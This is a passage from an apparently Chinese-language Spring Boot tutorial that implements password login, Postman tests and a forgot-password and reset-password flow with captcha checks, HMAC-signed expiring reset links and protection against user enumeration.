提取用户名和密码</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> passwordRequest.getUsername();</span><br><span class="line">        <span class="type">String</span> <span class="variable">password</span> <span class="operator">=</span> passwordRequest.getPassword();</span><br><span class="line">        log.info(<span class="string">&quot;账号密码登录: username=&#123;&#125;&quot;</span>, username);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 3. 根据用户名查询 sys_auth 表(PASSWORD)</span></span><br><span class="line">        <span class="type">Auth</span> <span class="variable">auth</span> <span class="operator">=</span> authMapper.selectOne(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;Auth&gt;()</span><br><span class="line">                .eq(Auth::getIdentityType, AuthType.PASSWORD.name())</span><br><span class="line">                .eq(Auth::getIdentifier, username));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 4. 检查凭证是否存在</span></span><br><span class="line">        <span class="keyword">if</span> (auth == <span class="literal">null</span>) &#123;</span><br><span class="line">            log.warn(<span class="string">&quot;用户不存在: username=&#123;&#125;&quot;</span>, username);</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;用户名或密码错误&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 5. 验证密码</span></span><br><span class="line">        <span class="keyword">if</span> (!passwordEncoder.matches(password, auth.getCredential())) &#123;</span><br><span class="line">            log.warn(<span class="string">&quot;密码错误: username=&#123;&#125;&quot;</span>, username);</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;用户名或密码错误&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 6. 根据 user_id 查询 sys_user 表</span></span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.selectById(auth.getUserId());</span><br><span class="line">        <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">            log.error(<span class="string">&quot;用户主体不存在: userId=&#123;&#125;&quot;</span>, auth.getUserId());</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;用户数据异常&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 7. 检查账号状态</span></span><br><span class="line">        <span class="keyword">if</span> (user.getStatus() == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;账号已被禁用,请联系管理员&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (user.getStatus() == <span class="number">2</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;账号未激活,请先激活邮箱&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 8. 返回 userId(策略到此结束)</span></span><br><span class="line">        log.info(<span class="string">&quot;账号密码登录校验通过: userId=&#123;&#125;, username=&#123;&#125;&quot;</span>, user.getId(), username);</span><br><span class="line">        <span class="keyword">return</span> user.getId();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> AuthType <span class="title function_">getSupportedType</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> AuthType.PASSWORD;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>到这里,你会发现策略类非常“克制”:它只做验证,只返回 <code>userId</code>。后续 Sa-Token 登录与 Token 返回完全由 <code>AuthStrategyFactory</code> 负责 [1]。</p></blockquote><hr><h3 id="删除-MockAuthStrategy">删除 MockAuthStrategy</h3><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/strategy/impl/MockAuthStrategy.java</code>(删除)</p><p>删除这个文件,因为我们已经有了真正的 <code>PasswordAuthStrategy</code>。</p><hr><h3 id="Postman-测试-2">Postman 测试</h3><p><strong>步骤 1:测试登录(账号未激活)</strong></p><ul><li><strong>方法</strong>:<code>POST</code></li><li><strong>URL</strong>:<code>http://localhost:8080/auth/login</code></li><li><strong>Body</strong>:</li></ul><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;authType&quot;</span><span class="punctuation">:</span> <span class="string">&quot;PASSWORD&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;username&quot;</span><span class="punctuation">:</span> <span class="string">&quot;testuser&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;password&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Test1234&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>响应示例</strong>:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">500</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;账号未激活,请先激活邮箱&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>步骤 2:激活账号</strong></p><p>点击邮件中的激活链接,或者调用激活接口。</p><p><strong>步骤 3:测试登录(账号已激活)</strong></p><ul><li><strong>方法</strong>:<code>POST</code></li><li><strong>URL</strong>:<code>http://localhost:8080/auth/login</code></li><li><strong>Body</strong>:</li></ul><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;authType&quot;</span><span class="punctuation">:</span> <span class="string">&quot;PASSWORD&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;username&quot;</span><span class="punctuation">:</span> <span class="string">&quot;testuser&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;password&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Test1234&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>响应示例</strong>(Sa-Token 统一返回,字段与 19.2 保持一致):</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;操作成功&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;tokenName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Authorization&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;tokenValue&quot;</span><span class="punctuation">:</span> <span class="string">&quot;e2f0f3b1-2b4c-4a0e-9c3b-1a2b3c4d5e6f&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;loginId&quot;</span><span class="punctuation">:</span> <span class="number">1748392847362</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>步骤 4:测试登录(密码错误)</strong></p><ul><li><strong>方法</strong>:<code>POST</code></li><li><strong>URL</strong>:<code>http://localhost:8080/auth/login</code></li><li><strong>Body</strong>:</li></ul><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;authType&quot;</span><span class="punctuation">:</span> <span class="string">&quot;PASSWORD&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;username&quot;</span><span class="punctuation">:</span> <span class="string">&quot;testuser&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;password&quot;</span><span class="punctuation">:</span> <span class="string">&quot;WrongPassword&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>响应示例</strong>:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">500</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;用户名或密码错误&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><hr><h2 id="19-3-9-找回密码-重置密码流程">19.3.9. 找回密码:重置密码流程</h2><p>在上一节中,我们实现了登录流程。现在我们需要实现找回密码功能。</p><p>找回密码的核心目标只有一个:<strong>用户忘记密码时,不需要登录也能完成“验证身份 → 重置密码”</strong>。但它还有两个隐藏要求:</p><ul><li>不能暴露“某个邮箱是否存在”(防止用户枚举攻击)</li><li>重置链接必须防篡改,并且要有有效期(我们继续沿用 HMAC + timestamp 的思路)</li></ul><hr><h3 id="定义找回密码请求">定义找回密码请求</h3><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/model/request/ForgotPasswordRequest.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.model.request;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> jakarta.validation.constraints.Email;</span><br><span class="line"><span class="keyword">import</span> jakarta.validation.constraints.NotBlank;</span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 找回密码请求</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ForgotPasswordRequest</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 邮箱</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;邮箱不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Email(message = &quot;邮箱格式不正确&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String email;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 验证码 Key</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;验证码 Key 不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String captchaKey;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 验证码</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;验证码不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String captchaCode;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/model/request/ResetPasswordRequest.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.model.request;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> jakarta.validation.constraints.NotBlank;</span><br><span class="line"><span class="keyword">import</span> jakarta.validation.constraints.Pattern;</span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 重置密码请求</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ResetPasswordRequest</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 用户 ID</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> Long userId;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 时间戳</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> Long timestamp;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 签名</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String sign;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 新密码</span></span><br><span class="line"><span class="comment">     * 8-20 位,必须包含大小写字母、数字</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;新密码不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Pattern(regexp = &quot;^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)[a-zA-Z\\d]&#123;8,20&#125;$&quot;,</span></span><br><span class="line"><span class="meta">            message = &quot;密码格式不正确(8-20位,必须包含大小写字母、数字)&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String newPassword;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="实现找回密码服务">实现找回密码服务</h3><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/service/UserService.java</code>(追加)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.service;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.entity.Auth;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.entity.User;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.enums.AuthType;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.mapper.AuthMapper;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.mapper.UserMapper;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.model.request.ForgotPasswordRequest;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.model.request.ResetPasswordRequest;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.util.HmacUtil;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.util.PasswordEncoder;</span><br><span class="line"><span class="keyword">import</span> lombok.RequiredArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Service;</span><br><span class="line"><span class="keyword">import</span> org.springframework.transaction.annotation.Transactional;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 用户服务(追加找回密码能力)</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserMapper userMapper;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> AuthMapper authMapper;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> PasswordEncoder passwordEncoder;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> CaptchaService captchaService;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> EmailService emailService;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> HmacUtil hmacUtil;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 找回密码(发送重置密码邮件)</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> request 找回密码请求</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">forgotPassword</span><span class="params">(ForgotPasswordRequest request)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;开始找回密码: email=&#123;&#125;&quot;</span>, request.getEmail());</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 1. 验证验证码</span></span><br><span class="line">        <span class="keyword">if</span> (!captchaService.verifyCaptcha(request.getCaptchaKey(), request.getCaptchaCode())) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;验证码错误或已过期&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 2. 根据邮箱查询 sys_auth 表(EMAIL)</span></span><br><span class="line">        <span class="type">Auth</span> <span class="variable">emailAuth</span> <span class="operator">=</span> authMapper.selectOne(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;Auth&gt;()</span><br><span class="line">                .eq(Auth::getIdentityType, AuthType.EMAIL.name())</span><br><span class="line">                .eq(Auth::getIdentifier, request.getEmail()));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 3. 检查邮箱是否存在</span></span><br><span class="line">        <span class="keyword">if</span> (emailAuth == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="comment">// 防止用户枚举:邮箱不存在也当作成功处理</span></span><br><span class="line">            log.warn(<span class="string">&quot;邮箱不存在: email=&#123;&#125;&quot;</span>, request.getEmail());</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 4. 发送重置密码邮件(异步)</span></span><br><span class="line">        emailService.sendResetPasswordEmail(request.getEmail(), emailAuth.getUserId());</span><br><span class="line"></span><br><span class="line">        log.info(<span class="string">&quot;重置密码邮件已发送: email=&#123;&#125;, userId=&#123;&#125;&quot;</span>, request.getEmail(), emailAuth.getUserId());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 重置密码</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> request 重置密码请求</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Transactional(rollbackFor = Exception.class)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">resetPassword</span><span class="params">(ResetPasswordRequest request)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;开始重置密码: userId=&#123;&#125;&quot;</span>, request.getUserId());</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 1. 验证签名</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">data</span> <span class="operator">=</span> request.getUserId() + <span class="string">&quot;:&quot;</span> + request.getTimestamp();</span><br><span class="line">        <span class="keyword">if</span> (!hmacUtil.verify(data, request.getSign())) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;重置链接无效&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 2. 验证时间戳(1 小时有效期)</span></span><br><span class="line">        <span class="keyword">if</span> (System.currentTimeMillis() &gt; request.getTimestamp()) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;重置链接已过期&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 3. 查询用户</span></span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.selectById(request.getUserId());</span><br><span class="line">        <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;用户不存在&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 4. 查询账号密码凭证(PASSWORD)</span></span><br><span class="line">        <span class="type">Auth</span> <span class="variable">passwordAuth</span> <span class="operator">=</span> authMapper.selectOne(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;Auth&gt;()</span><br><span class="line">                .eq(Auth::getUserId, request.getUserId())</span><br><span class="line">                .eq(Auth::getIdentityType, AuthType.PASSWORD.name()));</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (passwordAuth == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;该账号未设置密码&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 5. 更新密码</span></span><br><span class="line">        passwordAuth.setCredential(passwordEncoder.encode(request.getNewPassword()));</span><br><span class="line">        authMapper.updateById(passwordAuth);</span><br><span class="line"></span><br><span class="line">        log.info(<span class="string">&quot;密码重置成功: userId=&#123;&#125;&quot;</span>, request.getUserId());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="实现找回密码接口">实现找回密码接口</h3><p>仍然追加到同一个 <code>AuthController</code> 里,避免工程与包名割裂。</p><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/controller/AuthController.java</code>(追加)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.controller;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.example.auth.common.Result;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.model.request.ForgotPasswordRequest;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.model.request.ResetPasswordRequest;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.service.UserService;</span><br><span class="line"><span class="keyword">import</span> jakarta.validation.Valid;</span><br><span class="line"><span class="keyword">import</span> lombok.RequiredArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.*;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 认证控制器(追加找回密码能力)</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/auth&quot;)</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthController</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 找回密码接口(发送重置密码邮件)</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> request 找回密码请求</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 统一响应格式</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@PostMapping(&quot;/forgot-password&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> 